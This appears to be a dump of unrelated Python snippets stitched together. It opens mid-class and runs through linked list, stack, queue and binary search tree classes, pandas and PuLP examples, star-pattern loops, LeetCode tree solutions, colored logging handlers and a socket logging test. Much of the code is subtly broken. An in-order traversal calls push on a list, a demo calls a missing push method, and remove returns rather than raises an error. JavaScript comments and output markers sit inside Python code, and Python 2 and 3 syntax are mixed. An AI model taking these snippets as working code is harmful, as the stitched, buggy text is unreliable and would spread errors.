        queue.append(node.right) 
      #above two lines of code could be changed if it was a ternary tree, etc. instead of binary 
      #just loop for all children 
    return data 
  
  #parent down uses recursive 
  def DFSPreoder(self): 
    data = [] 
    #if you want to DFS not from root, create a variable here named current and specify which node to start from 
    #helper function 
    def traverse(node): 
      #all of root node's left will happen first, then right 
      #for other types of DFS, just tweak this order 
      data.append(node.value) 
      if node.left:
        traverse(node.left)
      if node.right: 
        traverse(node.right)
    
    traverse(self.root) 
    return data 
  
  #children up, root should be last value 
  def DFSPostOrder(self): 
    data = []
    
    def traverse(node): 
      if node.left:
        traverse(node.left)
      if node.right: 
        traverse(node.right)
      data.append(node.value)
    
    traverse(self.root)
    return data 
  
  #result data list should be sorted 
  def DFSInOrder(self):
    data = []
    def traverse(node): 
      if node.left: 
        traverse(node.left)
      data.push(node.value)
      if node.right: 
        traverse(node.right)
    traverse(self.root)
    return data 

t = BinarySearchTree() 
t.insert(1)
t.insert(5)
t.insert(6)
t.insert(2)
t.insert(0) 
t.insert(-1)
t.insert(7) 

print(t.DFSInOrder())
//Useful for background tasks, uploading resources, print/task 
 
//Can be impleneted with array (use push/shift or unshift/pop) or queue class 
//Again any time you use shift/unshift, you have O(N)
//FIFO 

class Node: 
  def __init__(self, value, next=None): 
    self.value = value 
    self.next = next 
  
class Queue: 
  def __init__(self, first=None, last=None, size=0): 
    self.first = first 
    self.last = last 
    self.size = size 
  
  #add to end of queue (similar to append or push) and returns size 
  def enqueue(self, value): 
    new_node = Node(value) 
    
    if self.first == None: 
      self.first = new_node 
      self.last = new_node 
    else: 
      self.last.next = new_node
      self.last = new_node 
    
    self.size += 1
    return self.size 
  
  #remove from beginning of queue 
  def dequeue(self): 
    if self.first == None: 
      return None 
    
    temp = self.first 
    if self.first == self.last: 
      self.last = None 
    #set 1st property to be original first's next 
    self.first = self.first.next 
    self.size -= 1 
    
    return temp.value 
    
  #useful to visualize any other function works 
  def print_queue_to_list(self): 
    result = []
    current = self.first 
    while current: 
      result.append(current.value)
      current = current.next 
    print(result)

s = Queue() 
s.enqueue(1) 
s.enqueue(2)
s.enqueue(3)
s.print_queue_to_list() >> [1, 2, 3]
s.dequeue() 
s.print_queue_to_list() >> [2, 3]

// Big O: 
// Insertion and Removal: O(1) **this is mainly what stacks are good for 
// Access and Search: O(N) 
//Recall with array implenetation, insertion and removal is not constant 
# //Used in call stack, undo/redo, routing 
 
# //Array implenentation (just use pop/push or shift/unshift) 
# //Recall that pop/push is more efficient than shift/unshift 
# //Indexes take up memory so linked list implenetation will be better 
 
# //Single linked implenetation of stack:

class Node: 
  def __init__(self, value, next=None): 
    self.value = value 
    self.next = next 

class Stack: 
  def __init__(self, first=None, last=None, size=0): 
    self.first = first
    self.last = last 
    self.size = size 
  
  #Similar to shift or insert(0, value). Adds to stack and returns size. Recall stack is LIFO  
  def push(self, value): 
    new_node = Node(value) 
    if self.first == None: 
      self.first = new_node 
      self.last = new_node 
    else: 
      #stores current 1st property on stack 
      temp = self.first 
      #reset 1st property to be newly created one 
      self.first = new_node 
      #set new next property 
      self.first.next = temp 
    #increment stack 
    self.size += 1  
    return self.size 
  
  #in python, this would be pop(0). Similar to unshift. Removes first element on stack  
  def pop(self): 
    #special case if stakc is empty 
    if self.first == None: 
      return None 
      
    temp = self.first 
    #if there is only 1 node, set 1st node and last property to be None 
    if self.first == self.last: 
      self.last = None
      #self.first = None will be set in next line 
    
    #for all scenarios except empty stack 
    self.first = self.first.next 
    self.size -= 1 
    return temp.value 
    
    #useful to visualize reverse() or any other function works 
  def print_stack_to_list(self): 
    result = []
    current = self.first 
    while current: 
      result.append(current.value)
      current = current.next 
    print(result)


s = Stack() 
s.push(1) 
s.push(2)
s.push(3)
s.print_stack_to_list() # [3, 2, 1]
s.pop()
s.print_stack_to_list() #[2, 1]



# //these methods deal with 1st node bc thats what stacks do (LIFO) 
# // Big O: 
# // Insertion and Removal: O(1) **this is mainly what stacks are good for 
# // Access and Search: O(N) 
      
# //almost identical to doubly linked list but 
# //every node has another pointer to previous node 
# //Advantages: able to access list at end instead of going from start 
# //Disadvantages: takes up more memory 

class Node: 
  def __init__(self, value, next=None, previous=None): 
    self.value = value 
    self.next = next 
    self.previous = previous 

class DoublyLinkedList:
  def __init__(self, head=None, tail=None, length=0):
    self.head = head 
    self.tail = tail 
    self.length = length 

  #add to end of list 
  def append(self, value): 
    new_node = Node(value)
    #if there is no head (list is empty), set head and tail to be new_node 
    if self.head == None: 
      self.head = new_node 
      self.tail = new_node
    #otheriwse, set next property on tail to be new node and set tail to be newly created node 
    else: 
      self.tail.next = new_node 
      new_node.previous = self.tail 
      self.tail = new_node 
    #increment length and return 
    self.length += 1 
    return self 
  
  #removes last element of list 
   def pop(self): 
    if self.head == None: 
      return None 
    #current will eventually be the last elemeent and will be removed 
    current = self.head 
    #variable right before end 
    new_tail = current 
    #while loop to traverse to end 
    while current.next: 
      new_tail = current 
      current = current.next 
    #sets new tail 
    self.tail = new_tail 
    #cuts off old tail and current previous property 
    self.tail.next = None 
    current.previous = None 
    #decrement list 
    self.length -= 1 
    #to account when list will be destroyed 
    if self.length == 0: 
      self.head = None
      self.tail = None 
    return current 
  
  #removes elememnt at head. Note in python, shift doesn't exist, it would be .pop(0) or you can use remove which is defined later
  def shift(self): 
    if self.head == None: 
      return None 
    #current_head will be removed and returned 
    current_head = self.head 
    self.head = current_head.next 
    #severs new self.head previous property
    self.head.previous = None 
    self.length -= 1 
    #to account when list will be destroyed 
    if self.length == 0: 
      self.tail = None 
    #severs current_head. Note previous is already set to None 
    current_head.next = None 
    return current_head 

  
  #adds to start of list and replaces head. I included shift/unshift because this is what makes linked list special in terms of reducing big O 
  def unshift(self, value): 
    new_node = Node(value)
    #edge case to account if list is originally empty 
    if self.head == None: 
      self.head = new_node 
      self.tail = self.head 
    else: 
      temp = self.head 
      self.head = new_node 
      self.head.next = temp 
      temp.previous = self.head 
    self.length += 1 
  
  #travels to node at index and returns node 
  def traverse(self, index): 
    if index < 0 or index >= self.length: 
      raise IndexError('index out of range')
    counter = 0 
    current = self.head 
    #since this is doubly linked list, you can also approach from tail and go backwards 
    while counter != index: 
      current = current.next 
      counter += 1 
    return current 
  
  #travels to node at index and returns node's value 
  def get(self, index): 
    #to accomodate normal python function, where if you give index = -1 in a get(), it will return last index and so on 
    if index < 0: 
      index = self.length + index 
    node = self.traverse(index)
    return node.value 
  
  #replaces value at index 
  def set(self, index, value): 
    found_node = self.traverse(index) 
    if found_node: 
      found_node.value = value
      return True 
    else: 
      return False 
  
  #insert value at index and adds 1 to length, returns boolean if successful 
  def insert(self, index, value): 
    if index < 0 or index > self.length: 
      raise IndexError('index out of range')
    if index == self.length: 
      #not not is similar to !! in javascript and it's so it returns a boolean if successful 
      return not not self.append(value)
    if index == 0: 
      return not not self.unshift(value) 
    else: 
      new_node = Node(value) 
      previous_node = self.traverse(index - 1) 
      after_node = previous_node.next 
      
      #creating relations before new_node 
      previous_node.next = new_node 
      new_node.previous = previous_node 
      #creating relations after new_node 
      new_node.next = after_node 
      after_node.previous = new_node 
      
      #increment length
      self.length += 1 
      return self 
  
  
  def remove(self, index): 
    if index < 0 or index > self.length: 
      return indexError('index out of range') 
    if index == self.length - 1: 
      return self.pop()
    if index == 0: 
      return self.shift() 
    else: 
      #need to get previous node and after node to create relationships 
      previous_node = self.traverse(index - 1) 
      #removed_node will be removed and returned  
      removed_node = previous_node.next 
      after_node = removed_node.next 
      #unlink removed_node 
      previous_node.next = removed_node.next 
      after_node.previous = previous_node 
      #sever removed_node next 
      removed_node.next = None 
      removed_node.previous = None 
      self.length -= 1 
      return removed_node 
  
 #common interview question 
  def reverse(self): 
    #switching head and tail 
    current = self.head 
    self.head = self.tail 
    self.tail = current 
    
    next, previous = None, None 
    #to show for loop is possible in LL. Could use while loop as well 
    for i in range(0, self.length): 
      #think of this as creating the block 
      next = current.next 
      current.next = previous #initially None 
      current.previous = next
      #think of this as connecting head/previous to the block 
      previous = current 
      current = next 
    return self 

# # // [100. 201, 250, 350, 999]
# # // first part 
# # // NODE  NEXT 
# # // 100 -> null 
 
# # // second part (for loop and beyond) 
# # // PREV  NODE  NEXT 
# # // line 154( prev = current; ) specifically: 
# # // 201 -> 100  -> null 
# # // line 155 (current = next;): 
# # //        PREV  NODE  NEXT 
# # // 250 -> 201 -> 100 
  
  #useful to visualize reverse() or any other function works 
  def print_linkedlist_to_list(self): 
    result = []
    current = self.head 
    while current: 
      result.append(current.value)
      current = current.next 
    print(result)
    
    
    

# l = DoublyLinkedList() 
# l.append(1) 
# l.append(2)
# l.pop()
# l.shift()
# l.unshift(3)
# l.append(4) 
# l.traverse(0)
# l.get(-2)
# l.set(2, 7)
# l.insert(0, 99)
# l.remove(2)
# l.print_linkedlist_to_list()
# l.reverse() 
# l.print_linkedlist_to_list()

# y = l.length
# print(y)

# // Insertion: 
# // O(1) 
# // Removal: recall in SL it depends 
# // O(1)
# // Searching: 
# // O(N) but optimized bc you can start from head or tail (but more memory)
# // Access: 
# // Same as searching 
res = dict((v,k) for k,v in a.items())
class Node: 
  def __init__(self, value, next=None): 
    self.value = value 
    self.next = next 

class SinglyLinkedList:
  def __init__(self, head=None, tail=None, length=0):
    self.head = head 
    self.tail = tail 
    self.length = length 

  #add to end of list 
  def append(self, value): 
    new_node = Node(value)
    #if there is no head (list is empty), set head and tail to be new_node 
    if self.head == None: 
      self.head = new_node 
      self.tail = self.head 
    #otheriwse, set next property on tail to be new node and set tail to be newly created node 
    else: 
      self.tail.next = new_node 
      self.tail = self.tail.next
    #increment length and return 
    self.length += 1 
    return self 
  
  #removes last element of list 
  def pop(self): 
    if self.head == None: 
      return None 
    #current will eventually be the last elemeent and will be removed 
    current = self.head 
    #variable right before end 
    new_tail = current 
    #while loop to traverse to end 
    while current.next: 
      new_tail = current 
      current = current.next 
    #sets new tail 
    self.tail = new_tail 
    #cuts off old tail 
    self.tail.next = None 
    #decrement list 
    self.length -= 1 
    #to account when list will be destroyed 
    if self.length == 0: 
      self.head = None
      self.tail = None 
    return current 
  
  #removes elememnt at head. Note in python, shift doesn't exist, it would be .pop(0) or you can use remove which is defined later
  def shift(self): 
    if self.head == None: 
      return None 
    current_head = self.head 
    self.head = current_head.next 
    self.length -= 1 
    #to account when list will be destroyed 
    if self.length == 0: 
      self.tail = None 
    return current_head 
  
  #adds to start of list and replaces head. I included shift/unshift because this is what makes linked list special in terms of reducing big O 
  def unshift(self, value): 
    new_node = Node(value)
    #edge case to account if list is originally empty 
    if self.head == None: 
      self.head = new_node 
      self.tail = self.head 
    else: 
      temp = self.head 
      self.head = new_node 
      self.head.next = temp 
    self.length += 1 
  
  #travels to node at index and returns node 
  def traverse(self, index): 
    if index < 0 or index >= self.length: 
      raise IndexError('index out of range')
    counter = 0 
    current = self.head 
    while counter != index: 
      current = current.next 
      counter += 1 
    return current 
  
  #travels to node at index and returns node's value 
  def get(self, index): 
    #to accomodate normal python function, where if you give index = -1 in a get(), it will return last index and so on 
    if index < 0: 
      index = self.length + index 
    node = self.traverse(index)
    return node.value 
  
  #replaces value at index 
  def set(self, index, value): 
    found_node = self.traverse(index) 
    if found_node: 
      found_node.value = value
      return True 
    else: 
      return False 
  
  #insert value at index and adds 1 to length, returns boolean if successful 
  def insert(self, index, value): 
    if index < 0 or index > self.length: 
      raise IndexError('index out of range')
    if index == self.length: 
      #not not is similar to !! in javascript and it's so it returns a boolean if successful 
      return not not self.append(value)
    if index == 0: 
      return not not self.unshift(value) 
    else: 
      new_node = Node(value) 
      previous_node = self.traverse(index - 1) 
      temp = previous_node.next 
      #set next property of previous node to be new_node 
      previous_node.next = new_node 
      #set new_node next to be old next of previous 
      #you can also write this as previous_node.next.next = temp 
      new_node.next = temp 
      self.length += 1 
      return True 
  
  
  def remove(self, index): 
    if index < 0 or index > self.length: 
      return indexError('index out of range') 
    if index == self.length - 1: 
      return self.pop()
    if index == 0: 
      return self.shift() 
    else: 
      #need to get previous node to create relationships 
      previous_node = self.traverse(index - 1) 
      #removed_node will be removed and returned  
      removed_node = previous_node.next 
      #unlink removed_node 
      previous_node.next = removed_node.next 
      #sever removed_node next 
      removed_node.next = None 
      self.length -= 1 
      return removed_node 
  
  #common interview question 
  def reverse(self): 
    #switching head and tail 
    current = self.head 
    self.head = self.tail 
    self.tail = current 
    
    next, previous = None, None 
    #to show for loop is possible in LL. Could use while loop as well 
    for i in range(0, self.length): 
      #think of this as creating the block 
      next = current.next 
      current.next = previous #initially None 
      #think of this as connecting head/previous to the block 
      previous = current 
      current = next 
    return self 

# // [100. 201, 250, 350, 999]
# // first part 
# // NODE  NEXT 
# // 100 -> null 
 
# // second part (for loop and beyond) 
# // PREV  NODE  NEXT 
# // line 154( prev = current; ) specifically: 
# // 201 -> 100  -> null 
# // line 155 (current = next;): 
# //        PREV  NODE  NEXT 
# // 250 -> 201 -> 100 
  
  #useful to visualize reverse() works 
  def print_linkedlist_to_list(self): 
    result = []
    current = self.head 
    while current: 
      result.append(current.value)
      current = current.next 
    print(result)
    
    
    

l = SinglyLinkedList() 
l.push(1) 
l.push(2)
l.pop()
l.shift()
l.unshift(3)
l.push(4) 
l.traverse(0)
l.get(-2)
l.set(2, 7)
l.insert(0, 99)
l.remove(2)
l.print_linkedlist_to_list()
l.reverse() 
l.print_linkedlist_to_list()

y = l.length
print(y)

# //Big O: 
# //Insertion: O(1)
# //Removal: depends O(1) if start or O(N) at end 
# //Above 2 are main advantages vs. arrays esp at start 
# //Searching: O(N)
# //Access: O(N) 
 
# //Recall with array implenetation, insertion and removal is not constant 
# //Lists are linear but trees are nonlinear 
# //Often working with binary trees and specifically binary search trees 
 
# //SL is techically a special case tree 
 
# //Root: top node of tree
# //Child: node directly connected to another node when moving away from root 
# //Parent: converse notion of child 
# //Siblings: group of node with same parent 
# //Leaf: node with no children 
# //Edge: connection betweeen one node and another (often arrows) 
 
# //Used for HTML DOM, network routing, abstract syntax trees, folder organization, AI, best possible move (decision tree)
 
# //We will focus on binary search tree (can only have at most 2 child nodes)
# //For each node, everything to left is smaller. Right >> bigger
 


class Node: 
  def __init__(self, value): 
    self.value = value 
    self.left = None 
    self.right = None 

class BinarySearchTree: 
  def __init__(self): 
    self.root = None 

  #adds number to correct place 
  def insert(self, value): 
    #creates new Node   
    new_node = Node(value) 
    #start at root 
    #if no root exists, root becomes new_node 
    if self.root == None: 
      self.root = new_node 
      return self 
    
    current = self.root 
    
    while True: 
      #to handle special case where value is same as current node 
      #you can return None or you can add a counter property 
      if value == current.value: 
        return None 
      #check to see if value is less than current 
      if value < current.value: 
        #check to see if there is node to left 
        #if not, add new_node to left 
        if current.left == None: 
          current.left = new_node 
          return self
        #if there is node to left, move to that node and repeat 
        current = current.left 
      #check to see if value is greater than current 
      else: 
        #check to see if there is node to right 
        #if not, add new_node to right 
        if current.right == None: 
          current.right = new_node 
          return self 
        #if there is node to right, move to that node and repeat 
        current = current.right 
  
  #find() returns value while contains() returns boolean 
  #find will point to entire node 
  def find(self, value): 
    #check to see if there is root and if not, we are done! 
    if self.root == None: 
      return False 
    current = self.root 
    found = False 
    
    while current and not found: 
      #if value is less than current 
      if value < current.value: 
        #check to see if there is node to left 
        #if there is, move to that node and repeat 
        current = current.left 
        #if not, we ar edone because current will no longer exist 
      #if value is greater than current 
      elif value > current.value: 
        #check to see if there is node to right 
        #if there is, move to that node and repeat 
        current = current.right 
        #if not, we are done because current will no longer exist 
      else: 
        found = True 
    
    if not found:
      return None 
    return current 
    
  def contains(self, value): 
    if self.root == None: 
      return False 
    current = self.root 
    found = False 
    
    while current and not found: 
      if value < current.value: 
        current = current.left 
      elif value > current.value: 
        current = current.right 
      else: 
        return True 
    return False 
          
t = BinarySearchTree()
t.insert(3)
t.insert(5)
t.insert(2)
t.insert(-1)
t.insert(6)
t.find(6) 
t.contains(6)

# // Insertion and Search: O(log N) VERY GOOD 
# // Not guaranteed if BST is a one sided tree (choose a different root) 
 
 
 
# //      10
# //   5     13
# // 2  7  11  16
 
# // tree = BinarySearchTree()
# // tree.insert(10)
# // tree.insert(5)
# // tree.insert(13)
# // tree.insert(11)
# // tree.insert(2)
# // tree.insert(16)
# // tree.insert(7)
# // tree.find(7) >> will point to node with 7  
# // tree.contains(6) >> False 
 
 
 
 
 
# //Primitive way of making Tree before insert() 
# // tree = BinarySearchTree()
# // tree.root = Node(10)
# // tree.root.right = Node(15)
# // tree.root.left = Node(7)
# // tree.root.left.right = Node(9)






import warnings
warnings.filterwarnings("ignore")
import numpy as np
import pandas as pd


df = pd.DataFrame({'a': [10,20],'b':[100,200],'c': ['a','b']})

df.loc['Column_Total']= df.sum(numeric_only=True, axis=0)
df.loc[:,'Row_Total'] = df.sum(numeric_only=True, axis=1)

print(df)

                 a      b    c  Row_Total
0             10.0  100.0    a      110.0
1             20.0  200.0    b      220.0
Column_Total  30.0  300.0  NaN      330.0
with open(filename, 'wb') as handle:
    pickle.dump(dict2save, handle, protocol=pickle.HIGHEST_PROTOCOL)
df.loc[df['PreferredPaymentMode'] == 'COD', 'PreferredPaymentMode' ] = 'Cash on Delivery'
import json

# need a function to grab info from a json, 
with open('people.json', 'r') as f:
    data= json.load(f)['people']
    
@app.get("/registers")
def get_data():
    return data
def RepresentsInt(s):
    try: 
        int(s)
        return True
    except ValueError:
        return False

>>> print RepresentsInt("+123")
True
>>> print RepresentsInt("10.0")
False
## simple square pattern ##

n = 5
for i in range(n):              ## this plays as a row ##
    for j in range(n):          ## this plays as a column ##
        print("*",end = " " )   ## end showing stars with gap ##
    print()                     ## this print is necessary to write to print for next line ##
    
    
################################################################################################

## simple triangle pattern ##


n = 5
for i in range(n):            ## n is already printing 5 rows ##         
    for j in range(i+1):      ## j is set for i + 1 so that every line will add 1 star bcz of column is set for row + 1 star   
        print("*",end = " " ) ## same ##
    print()                   ## same ## 
    
################################################################################################


n = 5
for i in range(n):              # same bcz of 5 star printing 
    for j in range(i,n):        # in this we have given the range from i means it will go first for 0 to 5 then 1 to 5 ..... 4 to 5 this happens due to  
        print("*",end = " " )   # range given a/c to i and stop it to max 5 . In this way it will go like  first 0 index then columns go for 0 to 5 that 
    print()                     # gradually down to 4 to 5 and print only 1 star in the end



################################################################################################

### now the case is diff , now for this we'll set the space as decreasing triangle and and set the triangle from left side ### 


n = 5
for i in range(n):             
    for j in range(i,n):       ###  (0,5)--(0,1,2,3,4)  ###       
        print(" ",end = " " )  ### till here pretend that it has printed the above star pattern but with space ### 
    for j in range(i+1):    
        print("*",end = " " )  ### from here it prints the star pattern for ###
    print()
    
    

################################################################################################


### HILL pattern ###


n = 5
for i in range(n):
    for j in range(i,n):   ### 01234 ### first 0 to 4 then 1 to 4 then .....3 to 4 ### here it will print space of decreasing triangle ###
        print(" ", end = " ")
    for j in range(i):          ###we take i to print one less column to make edge ### here it will print * star in increasing triangle order with right ###
        print("*" ,end = " ")
    for j in range(i + 1):       ### here it will print * star in increasing order with left ###
        print("*" , end = " ")  
        
    print()



################################################################################################


>>> import os
>>> l = ['/home/username/images/s1/4.jpg', '/home/username/images/s1/7.jpg', '/home/username/images/s1/6.jpg', '/home/username/images/s1/3.jpg', '/home/username/images/s1/5.jpg', '/home/username/images/s1/10.jpg', '/home/username/images/s1/9.jpg', '/home/username/images/s1/1.jpg', '/home/username/images/s1/2.jpg', '/home/username/images/s1/12.jpg', '/home/username/images/s1/11.jpg', '/home/username/images/s1/8.jpg']
>>> sorted(l, key=lambda i: int(os.path.splitext(os.path.basename(i))[0]))
['/home/username/images/s1/1.jpg',
 '/home/username/images/s1/2.jpg',
 '/home/username/images/s1/3.jpg',
 '/home/username/images/s1/4.jpg',
 '/home/username/images/s1/5.jpg',
 '/home/username/images/s1/6.jpg',
 '/home/username/images/s1/7.jpg',
 '/home/username/images/s1/8.jpg',
 '/home/username/images/s1/9.jpg',
 '/home/username/images/s1/10.jpg',
 '/home/username/images/s1/11.jpg',
 '/home/username/images/s1/12.jpg']
animals = ["cat", "cat", "dog", "rabbit", "dog", "dog", "horse", "dog"]

#solution 1
def item_indexes(item, sequence):
    indexes = []
    start = 0
    item_count = sequence.count(item)
    for n in range(item_count):
        indexes.append(sequence.index(item, start))
        start = indexes[n]+1
    print(indexes)
    
##solution 2

def item_indexes(item: str, sequence: list):
    indexes = []
    item_count = sequence.count(item)
    for n in range(item_count):
        i = sequence.index(item)
        indexes.append(i + n)
        del sequence[i]
    print(indexes)


item_indexes("dog", animals)
class Tree(object):
    def __init__(self, value, left=None, right=None):
        self.val = value
        self.left = left
        self.right = right 
 
tx = Tree(4, Tree(1, Tree(-2, None, Tree(3, None, None))), Tree(3, Tree(1, None, None), Tree(2, Tree(-4, None, None), Tree(-3, None, None))))


def find_paths(root, required_sum):
    allPaths = []
  
    def find_paths_recursive(currentNode, required_sum, currentPath, allPaths):
      if currentNode is None:
        return
    
      # add the current node to the path
      currentPath.append(currentNode.val)
    
      # if the current node is a leaf and its value is equal to required_sum, save the current path
      if currentNode.val == required_sum and currentNode.left is None and currentNode.right is None:
        allPaths.append(list(currentPath))
      else:
        # traverse the left sub-tree
        find_paths_recursive(currentNode.left, required_sum -
                             currentNode.val, currentPath, allPaths)
        # traverse the right sub-tree
        find_paths_recursive(currentNode.right, required_sum -
                             currentNode.val, currentPath, allPaths)
    
      # remove the current node from the path to backtrack,
      # we need to remove the current node while we are going up the recursive call stack.
      del currentPath[-1]
    
    find_paths_recursive(root, required_sum, [], allPaths)
    
    return allPaths

find_paths(tx, 5)
# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def isSubtree(self, root: Optional[TreeNode], subRoot: Optional[TreeNode]) -> bool:
        #order of first two conditionals is important 
        if not subRoot: return True 
        if not root: return False 
        if self.sameTree(root, subRoot): return True 
        
        return self.isSubtree(root.left, subRoot) or self.isSubtree(root.right, subRoot)
        
        
    def sameTree(self, s, t): 
        if not s and not t: return True 
        if s and t and s.val == t.val: 
            return self.sameTree(s.left, t.left) and self.sameTree(s.right, t.right) 

        return False 
        
        
# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def isSameTree(self, p: Optional[TreeNode], q: Optional[TreeNode]) -> bool:
        if not p and not q: return True 
        if not p or not q: return False 
        if p.val != q.val: return False 
        
        return self.isSameTree(p.left, q.left) and self.isSameTree(p.right, q.right)
        
# sed workaround, shamelessly stolen & modified
# from https://raw.githubusercontent.com/mahmoudadel2/pysed/master/pysed.py
def replace(oldstr, newstr, infile):
    linelist = []
    with open(infile) as f:
        for item in f:
            newitem = re.sub(oldstr, newstr, item)
            linelist.append(newitem)
    with open(infile, "w") as f:
        f.truncate()
        for line in linelist: f.writelines(line)
class ColorizingStreamHandler(logging.StreamHandler):

    BLACK = '\033[0;30m'
    RED = '\033[0;31m'
    GREEN = '\033[0;32m'
    BROWN = '\033[0;33m'
    BLUE = '\033[0;34m'
    PURPLE = '\033[0;35m'
    CYAN = '\033[0;36m'
    GREY = '\033[0;37m'

    DARK_GREY = '\033[1;30m'
    LIGHT_RED = '\033[1;31m'
    LIGHT_GREEN = '\033[1;32m'
    YELLOW = '\033[1;33m'
    LIGHT_BLUE = '\033[1;34m'
    LIGHT_PURPLE = '\033[1;35m'
    LIGHT_CYAN = '\033[1;36m'
    WHITE = '\033[1;37m'

    RESET = "\033[0m"

    def __init__(self, *args, **kwargs):
        self._colors = {logging.DEBUG: self.DARK_GREY,
                        logging.INFO: self.RESET,
                        logging.WARNING: self.BROWN,
                        logging.ERROR: self.RED,
                        logging.CRITICAL: self.LIGHT_RED}
        super(ColorizingStreamHandler, self).__init__(*args, **kwargs)

    @property
    def is_tty(self):
        isatty = getattr(self.stream, 'isatty', None)
        return isatty and isatty()

    def emit(self, record):
        try:
            message = self.format(record)
            stream = self.stream
            if not self.is_tty:
                stream.write(message)
            else:
                message = self._colors[record.levelno] + message + self.RESET
                stream.write(message)
            stream.write(getattr(self, 'terminator', '\n'))
            self.flush()
        except (KeyboardInterrupt, SystemExit):
            raise
        except:
            self.handleError(record)

    def setLevelColor(self, logging_level, escaped_ansi_code):
        self._colors[logging_level] = escaped_ansi_code
class ColoredFormatter(logging.Formatter):
    """Special custom formatter for colorizing log messages!"""

    BLACK = '\033[0;30m'
    RED = '\033[0;31m'
    GREEN = '\033[0;32m'
    BROWN = '\033[0;33m'
    BLUE = '\033[0;34m'
    PURPLE = '\033[0;35m'
    CYAN = '\033[0;36m'
    GREY = '\033[0;37m'

    DARK_GREY = '\033[1;30m'
    LIGHT_RED = '\033[1;31m'
    LIGHT_GREEN = '\033[1;32m'
    YELLOW = '\033[1;33m'
    LIGHT_BLUE = '\033[1;34m'
    LIGHT_PURPLE = '\033[1;35m'
    LIGHT_CYAN = '\033[1;36m'
    WHITE = '\033[1;37m'

    RESET = "\033[0m"

    def __init__(self, *args, **kwargs):
        self._colors = {logging.DEBUG: self.DARK_GREY,
                        logging.INFO: self.RESET,
                        logging.WARNING: self.BROWN,
                        logging.ERROR: self.RED,
                        logging.CRITICAL: self.LIGHT_RED}
        super(ColoredFormatter, self).__init__(*args, **kwargs)

    def format(self, record):
        """Applies the color formats"""
        record.msg = self._colors[record.levelno] + record.msg + self.RESET
        return logging.Formatter.format(self, record)

    def setLevelColor(self, logging_level, escaped_ansi_code):
        self._colors[logging_level] = escaped_ansi_code
# this setting will be used as a flow variable in KNIME
# note the use of flow_variables being used to refer to the name of the flow variable \
	# similar to a dict key
flow_variables['var_py_value_switch']    = 0
# import pandas library
import pandas as pd
  
# dictionary with list object in values
details = {
    'Name' : ['Ankit', 'Aishwarya', 'Shaurya', 'Shivangi'],
    'Age' : [23, 21, 22, 21],
    'University' : ['BHU', 'JNU', 'DU', 'BHU'],
}
  
# creating a Dataframe object 
df = pd.DataFrame(details)
  
df
# Python3 code to demonstrate 
# conversion of lists to dictionary
# using zip()
  
# initializing lists
test_keys = ["Rash", "Kil", "Varsha"]
test_values = [1, 4, 5]
  
# Printing original keys-value lists
print ("Original key list is : " + str(test_keys))
print ("Original value list is : " + str(test_values))
  
# using zip()
# to convert lists to dictionary
res = dict(zip(test_keys, test_values))
  
# Printing resultant dictionary 
print ("Resultant dictionary is : " +  str(res))
df_1 = pd.read_excel(r"C:\Users\Nilotpal.Choudhury\Udemy Assignment-1\warehouse_city.xlsx")
# note the use of r prior to path reference
# defining constraints
for c in customers:
    model += lpSum([flows.get((w, c)) for w in warehouse]) == 1

model += lpSum([open_w[w] for w in warehouse]) == 3

for w in warehouse:
    for c in customers:
        model += open_w[w] >= flows.get((w,c))
# Python program to illustrate
# Add a new column  in Pandas 
  
# Importing the pandas Library
import pandas as pd
  
# creating a data frame with some data values.
data_frame = pd.DataFrame([[i] for i in range(7)], columns =['data'])
  
print (data_frame)
flows = LpVariable.dicts('flows',keys,cat='Integer') # the number of values are included in the list keys and of type integer
open_w = LpVariable.dicts('open_w',distmatrix.index,cat='Binary') # the number of values are included in the list generated by tolist method and of type binary
X1 = LpVariable('X1', lowBound=0, upBound=None, cat='Integer') 
# create a single variable of type Integer with min value 0 and max value infinity
# Create the new column as a list
new_col = ['Lee Kun-hee', 'Xu Zhijun', 'Tim Cook', 'Tony Chen', 'Shen Wei']

# Assign the list to the DataFrame as a column
df['Current Chairperson'] = new_col
df
# Create the dictionary containing the data of the new column
col_dict = {'Samsung': 'Lee kun-hee', 'Huawei': 'Xu Zhijun',
            'Apple': 'Tim Cook', 'Oppo': 'Tony Chen', 'Vivo': 'Shen Wei'}

# Assign the values of the dictionary as the values of the new column
df['Current chairperson'] = col_dict.values()
df

'''
Please remember that the number of values in the list should equal the numbers of rows in the pandas dataframe
'''
# creating a model for running optimization
model = LpProblem('transportprob', sense=LpMinimize)

# defining the objective function
model += lpSum([demand_dict.get(c) * flows[(w, c)] * dist_dict.get((w, c)) for w in open_w for c in distmatrix.columns])

# defining constraints
for c in customers:
    model += lpSum([flows.get((w, c)) for w in warehouse]) == 1 # note the use of comparison operators for constraints

model += lpSum([open_w[w] for w in warehouse]) == 3

for w in warehouse:
    for c in customers:
        model += open_w[w] >= flows.get((w,c))
        
model.solve() # run the solver for solution
def f(ham: str, eggs: str = 'eggs') -> str:
    print("Annotations:", f.__annotations__)
    print("Arguments:", ham, eggs)
    return ham + ' and ' + eggs
import unittest
import socketLogger
import logging
import logging.handlers
import pickle
#import cPickle as pickle

def test_StringReceivedIsSameAsStringSent():
    host = 'localhost'
    port = 9000
    stringSent = "hello world!" 
    stringReceived = None
    log_msg = None

    def sendLogToSocket(host,port, stringSent):
        logger = logging.getLogger('mylogger') # to log Led Observer output over a socket
        sh = logging.handlers.SocketHandler(host,port) # handler to write to socket
        logger.addHandler(sh)
        logger.critical(stringSent) 
        logger.removeHandler(sh)
        sh.close()

    import threading
    t = threading.Thread(target=sendLogToSocket, args=(host,port,stringSent)) # socket requires 2 different ports if on the same machine
    t.start() # send log in a thread

    import socket
    serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #INET => IPv4, STREAM => TCP
    serversocket.bind((host,port)) # 'localhost' => implies only visible within the same machine
    serversocket.listen(1) # accept 1 connection only
    (clientsocket, address) = serversocket.accept()
    chunk = clientsocket.recv(1024)
    print 'socketlistener: data received: ', repr(chunk)
    import struct
    slen = struct.unpack(">L", chunk[:4])[0]
    obj = pickle.loads(chunk[4:])
    print 'un pickling log: ', repr(obj)
    stringReceived = logging.makeLogRecord(obj)
    #log_msg = logging.makeLogRecord(stringReceived)
    print 'socketlistener: converted to log: ', repr(stringReceived)
    clientsocket.close()
    serversocket.close()

    t.join() # wait for the log thread to finish

